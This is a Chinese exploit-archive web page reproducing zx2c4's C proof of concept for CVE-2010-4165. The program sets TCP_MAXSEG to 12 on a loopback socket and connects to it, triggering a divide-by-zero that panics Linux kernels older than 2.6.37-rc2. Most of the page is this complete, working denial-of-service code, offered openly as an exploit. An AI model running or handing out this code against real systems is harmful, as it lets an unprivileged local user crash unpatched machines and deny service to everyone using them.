首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Linux Kernel < 2.6.37-rc2 TCP_MAXSEG Kernel Panic DoS
来源:vfocus.net 作者:zx2c4 发布时间:2011-03-11  

/*
 * TCP_MAXSEG Kernel Panic DoS for Linux < 2.6.37-rc2
 * by zx2c4
 *
 * This exploit triggers CVE-2010-4165, a divide by zero
 * error in net/ipv4/tcp.c. Because this is on the softirq
 * path, the kernel oopses and then completely dies with
 * no chance of recovery. It has been very reliable as a
 * DoS, but is not useful for triggering other bugs.
 *
 * -zx2c4, 28-2-2011
 */

#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <net/if.h>
#include <arpa/inet.h>
#include <netinet/tcp.h>

int main()
{
 struct sockaddr_in laddr;
 memset(&laddr, 0, sizeof(laddr));
 laddr.sin_family = AF_INET;
 laddr.sin_addr.s_addr = inet_addr("127.0.0.1");
 laddr.sin_port = htons(31337);
 int listener = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
 if (listener < 0) {
  printf("[-] Could not open listener.\n");
  return -1;
 }
 int val = 12;
 if (setsockopt(listener, IPPROTO_TCP, TCP_MAXSEG, &val, sizeof(val)) < 0) {
  printf("[-] Could not set sockopt.\n");
  return -1;
 }
 if (bind(listener, (struct sockaddr*)&laddr, sizeof(struct sockaddr)) < 0) {
  printf("[-] Could not bind to address.\n");
  return -1;
 }
 if (listen(listener, 1) < 0) {
  printf("[-] Could not listen.\n");
  return -1;
 }
 int hello = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
 if (hello < 0) {
  printf("[-] Could not open connector.\n");
  return -1;
 }
 if (connect(hello, (struct sockaddr*)&laddr, sizeof(struct sockaddr)) < 0) {
  printf("[-] Could not connect to listener.\n");
  return -1;
 }
 printf("[-] Connection did not trigger oops.\n");
 return 0;
}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Novell iPrint Client ActiveX C
·QuickTime Player 7.5.x Buffer
·Oracle MySQL for Microsoft Win
·FreeBSD <= 6.4 Netgraph Local
·Air Contacts Lite Denial Of Se
·maian weblog <= v4.0 remote bl
·KMPlayer 2.9.3 (.avi) Stack bu
·Nokia N97 m3u Playlist Crash P
·Windows Movie Maker 2.1 (Impor
·Movavi VideoSuite 8.0 Movie Ed
·KMPlayer 2.9.3.1 APE Buffer Ov
·Movavi VideoSuite 8.0 SlideSho
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved